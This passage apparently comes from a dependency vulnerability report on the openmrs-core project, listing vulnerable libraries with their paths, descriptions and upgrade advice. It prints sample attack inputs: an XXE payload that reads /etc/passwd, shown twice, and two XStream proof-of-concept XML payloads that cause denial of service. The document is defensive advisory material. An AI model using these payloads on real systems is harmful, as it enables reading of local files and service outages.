version 2.3 to mitigate this vulnerability.
Remediation
There is no fixed version for org.apache.velocity:velocity
.
References
high severity
- Vulnerable module: com.google.protobuf:protobuf-java
- Introduced through: org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT
Detailed paths
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT › mysql:mysql-connector-java@8.0.30 › com.google.protobuf:protobuf-java@3.19.4
Overview
com.google.protobuf:protobuf-java is a Google's language-neutral, platform-neutral, extensible mechanism for serializing structured data.
Affected versions of this package are vulnerable to Denial of Service (DoS) in MessageReflection.java
due to a text format parsing issue. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back and forth between mutable and immutable forms, resulting in potentially long garbage collection pauses.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
ws
package
Remediation
Upgrade com.google.protobuf:protobuf-java
to version 3.16.3, 3.19.6, 3.20.3, 3.21.7 or higher.
References
high severity
- Vulnerable module: com.google.protobuf:protobuf-java
- Introduced through: org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT
Detailed paths
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT › mysql:mysql-connector-java@8.0.30 › com.google.protobuf:protobuf-java@3.19.4
Overview
com.google.protobuf:protobuf-java is a Google's language-neutral, platform-neutral, extensible mechanism for serializing structured data.
Affected versions of this package are vulnerable to Denial of Service (DoS) when providing inputs containing multiple instances of non-repeated embedded messages, with repeated or unknown fields. The vulnerability exists due to a parsing issue in the Message-Type Extensions
. Exploiting this vulnerability causes objects to be converted back and forth between mutable and immutable forms, resulting in potentially long garbage collection pauses.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
ws
package
Remediation
Upgrade com.google.protobuf:protobuf-java
to version 3.16.3, 3.19.6, 3.20.3, 3.21.7 or higher.
References
high severity
- Vulnerable module: com.thoughtworks.xstream:xstream
- Introduced through: org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT and org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT
Detailed paths
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT › com.thoughtworks.xstream:xstream@1.4.17
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT › org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT › com.thoughtworks.xstream:xstream@1.4.17
Overview
com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.
Affected versions of this package are vulnerable to Denial of Service (DoS). An attacker can manipulate the processed input stream and replace or inject objects, that result in exponential recursively hashcode calculation,
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
ws
package
Remediation
Upgrade com.thoughtworks.xstream:xstream
to version 1.4.19 or higher.
References
high severity
- Vulnerable module: org.codehaus.jackson:jackson-mapper-asl
- Introduced through: org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT and org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT
Detailed paths
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT › org.codehaus.jackson:jackson-mapper-asl@1.9.14-MULE-002
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT › org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT › org.codehaus.jackson:jackson-mapper-asl@1.9.14-MULE-002
Overview
org.codehaus.jackson:jackson-mapper-asl is a high-performance data binding package built on Jackson JSON processor.
Affected versions of this package are vulnerable to XML External Entity (XXE) Injection.
via the DOMDeserializer.class
file and its inner classes (DocumentDeserializer.class
and NodeDeserializer.class
) that uses the _parserFactory
instance without restricting it from processing external XML
entities when parsing user input.
Details
XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.
Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.
For example, below is a sample XML document, containing an XML element- username.
<?xml version="1.0" encoding="ISO-8859-1"?>
<username>John</username>
</xml>
An external XML entity - xxe
, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd
and display it to the user rendered by username
.
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<username>&xxe;</username>
</xml>
Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.
Remediation
There is no fixed version for org.codehaus.jackson:jackson-mapper-asl
.
For org.codehaus.jackson:jackson-all
releases supporting jackson-mapper-asl
. As a workaround, for 1.9.X release, the javax.xml.XMLConstants.FEATURE_SECURE_PROCESSING
setting can be enabled. For 2.x releases, the "javax.xml.stream.isSupportingExternalEntities
setting can be set to FALSE
.
References
high severity
- Vulnerable module: org.openmrs.web:openmrs-web
- Introduced through: org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT
Detailed paths
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT
Overview
org.openmrs.web:openmrs-web is a patient-based medical record system focusing on giving providers a free customizable electronic medical record system (EMR).
Affected versions of this package are vulnerable to Denial of Service (DoS) due to failure to sanitize requests when satisfying GET
requests for /images
and /initfilter/scripts
. This can allow an attacker to access any file on a system running OpenMRS that is accessible to the user id OpenMRS is running under.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
ws
package
Remediation
A fix was pushed into the master
branch but not yet published.
References
high severity
- Vulnerable module: taglibs:standard
- Introduced through: org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT
Detailed paths
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT › taglibs:standard@1.1.2
Overview
taglibs:standard is an implementation of the JSP Standard Tag Library (JSTL) specification.
Affected versions of this package are vulnerable to XML External Entity (XXE) Injection. Apache Standard Taglibs before 1.2.3 allows remote attackers to execute arbitrary code or conduct external XML entity (XXE) attacks via a crafted XSLT extension in a <x:parse>
or <x:transform>
JSTL XML tag.
Details
XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.
Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.
For example, below is a sample XML document, containing an XML element- username.
<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<username>John</username>
</xml>
An external XML entity - xxe
, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd
and display it to the user rendered by username
.
<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<username>&xxe;</username>
</xml>
Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.
Remediation
Upgrade taglibs:standard
to version 1.2.3 or higher.
References
medium severity
- Vulnerable module: com.thoughtworks.xstream:xstream
- Introduced through: org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT and org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT
Detailed paths
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT › com.thoughtworks.xstream:xstream@1.4.17
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT › org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT › com.thoughtworks.xstream:xstream@1.4.17
Overview
com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.
Affected versions of this package are vulnerable to Denial of Service (DoS). This vulnerability may allow a remote attacker to allocate 100% CPU time on the target system depending on CPU type or parallel execution of such a payload resulting in a denial of service only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.
PoC
<linked-hash-set>
<sun.reflect.annotation.AnnotationInvocationHandler serialization='custom'>
<sun.reflect.annotation.AnnotationInvocationHandler>
<default>
<memberValues class='javax.script.SimpleBindings'>
<map class='javax.script.SimpleBindings' reference='..'/>
</memberValues>
<type>javax.xml.transform.Templates</type>
</default>
</sun.reflect.annotation.AnnotationInvocationHandler>
</sun.reflect.annotation.AnnotationInvocationHandler>
</linked-hash-set>
XStream xstream = new XStream();
xstream.fromXML(xml);
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
ws
package
Remediation
Upgrade com.thoughtworks.xstream:xstream
to version 1.4.18 or higher.
References
medium severity
- Vulnerable module: com.thoughtworks.xstream:xstream
- Introduced through: org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT and org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT
Detailed paths
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT › com.thoughtworks.xstream:xstream@1.4.17
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT › org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT › com.thoughtworks.xstream:xstream@1.4.17
Overview
com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.
Affected versions of this package are vulnerable to Denial of Service (DoS). An attacker can manipulate the processed input stream at unmarshalling time, and replace or inject objects. This can result in a stack overflow calculating a recursive hash set, causing a denial of service.
Workaround
This effects of this vulnerability can be avoided by catching the StackOverflowError in the calling application.
PoC
Create a simple HashSet and use XStream to marshal it to XML. Replace the XML with following snippet and unmarshal it with XStream.
<div class="Source XML"><pre>
<set>
<set>
<set>
<set>
<set>
<set>
<string>a</string>
</set>
<set>
<string>b</string>
</set>
</set>
<set>
<string>c</string>
<set reference='../../../set/set[2]'/>
</set>
</set>
</set>
</set>
</set>;
</pre></div>
<div class="Source Java"><pre>XStream xstream = new XStream();
xstream.fromXML(xml);
</pre></div>
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
ws
package
Remediation
Upgrade com.thoughtworks.xstream:xstream
to version 1.4.20 or higher.
References
medium severity
- Vulnerable module: com.google.protobuf:protobuf-java
- Introduced through: org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT
Detailed paths
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT › mysql:mysql-connector-java@8.0.30 › com.google.protobuf:protobuf-java@3.19.4
Overview
com.google.protobuf:protobuf-java is a Google's language-neutral, platform-neutral, extensible mechanism for serializing structured data.
Affected versions of this package are vulnerable to Denial of Service (DoS) via the parsing procedure for binary and text format data. Input streams containing multiple instances of non-repeated embedded messages with repeated or unknown fields cause objects to be converted back and forth between mutable and immutable forms, resulting in potentially long garbage collection pauses.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
ws
package
Remediation
Upgrade com.google.protobuf:protobuf-java
to version 3.16.3, 3.19.6, 3.20.3, 3.21.7 or higher.
References
medium severity
- Vulnerable module: com.thoughtworks.xstream:xstream
- Introduced through: org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT and org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT
Detailed paths
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT › com.thoughtworks.xstream:xstream@1.4.17
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT › org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT › com.thoughtworks.xstream:xstream@1.4.17
Overview
com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.
Affected versions of this package are vulnerable to Denial of Service (DoS). If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stack overflow.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
ws
package
Remediation
Upgrade com.thoughtworks.xstream:xstream
to version 1.4.20 or higher.
References
medium severity
- Vulnerable module: org.hibernate:hibernate-validator
- Introduced through: org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT and org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT
Detailed paths
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT › org.hibernate:hibernate-validator@6.1.2.Final
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT › org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT › org.hibernate:hibernate-validator@6.1.2.Final
Overview
org.hibernate:hibernate-validator is a Hibernate Validator Engine Relocation Artifact.
Affected versions of this package are vulnerable to Improper Input Validation. A bug in the message interpolation processor enables invalid EL expressions to be evaluated as if they were valid. This flaw allows attackers to bypass input sanitation (escaping, stripping) controls that developers may have put in place when handling user-controlled data in error messages.
Remediation
Upgrade org.hibernate:hibernate-validator
to version 6.0.19.Final, 6.1.3.Final or higher.
References
medium severity
- Vulnerable module: org.apache.commons:commons-compress
- Introduced through: org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT and org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT
Detailed paths
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT › org.testcontainers:mysql@1.19.7 › org.testcontainers:jdbc@1.19.7 › org.testcontainers:database-commons@1.19.7 › org.testcontainers:testcontainers@1.19.7 › org.apache.commons:commons-compress@1.24.0
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT › org.testcontainers:mysql@1.19.7 › org.testcontainers:jdbc@1.19.7 › org.testcontainers:database-commons@1.19.7 › org.testcontainers:testcontainers@1.19.7 › org.apache.commons:commons-compress@1.24.0
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT › org.testcontainers:postgresql@1.19.7 › org.testcontainers:jdbc@1.19.7 › org.testcontainers:database-commons@1.19.7 › org.testcontainers:testcontainers@1.19.7 › org.apache.commons:commons-compress@1.24.0
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT › org.testcontainers:postgresql@1.19.7 › org.testcontainers:jdbc@1.19.7 › org.testcontainers:database-commons@1.19.7 › org.testcontainers:testcontainers@1.19.7 › org.apache.commons:commons-compress@1.24.0
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT › org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT › org.testcontainers:mysql@1.19.7 › org.testcontainers:jdbc@1.19.7 › org.testcontainers:database-commons@1.19.7 › org.testcontainers:testcontainers@1.19.7 › org.apache.commons:commons-compress@1.24.0
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT › org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT › org.testcontainers:postgresql@1.19.7 › org.testcontainers:jdbc@1.19.7 › org.testcontainers:database-commons@1.19.7 › org.testcontainers:testcontainers@1.19.7 › org.apache.commons:commons-compress@1.24.0
Overview
org.apache.commons:commons-compress is an API for working with compression and archive formats.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to an OutOfMemoryError
during the handling of a broken Pack200
file.
Remediation
Upgrade org.apache.commons:commons-compress
to version 1.26.0 or higher.
References
low severity
- Vulnerable module: commons-codec:commons-codec
- Introduced through: org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT and org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT
Detailed paths
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT › org.apache.lucene:lucene-analyzers-phonetic@5.5.5 › commons-codec:commons-codec@1.10
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT › org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT › org.apache.lucene:lucene-analyzers-phonetic@5.5.5 › commons-codec:commons-codec@1.10
Overview
commons-codec:commons-codec is a package that contains simple encoder and decoders for various formats such as Base64 and Hexadecimal.
Affected versions of this package are vulnerable to Information Exposure. When there is no byte array value that can be encoded into a string the Base32 implementation does not reject it, and instead decodes it into an arbitrary value which can be re-encoded again using the same implementation. This allows for information exposure exploits such as tunneling additional information via seemingly valid base 32 strings.
Remediation
Upgrade commons-codec:commons-codec
to version 1.13 or higher.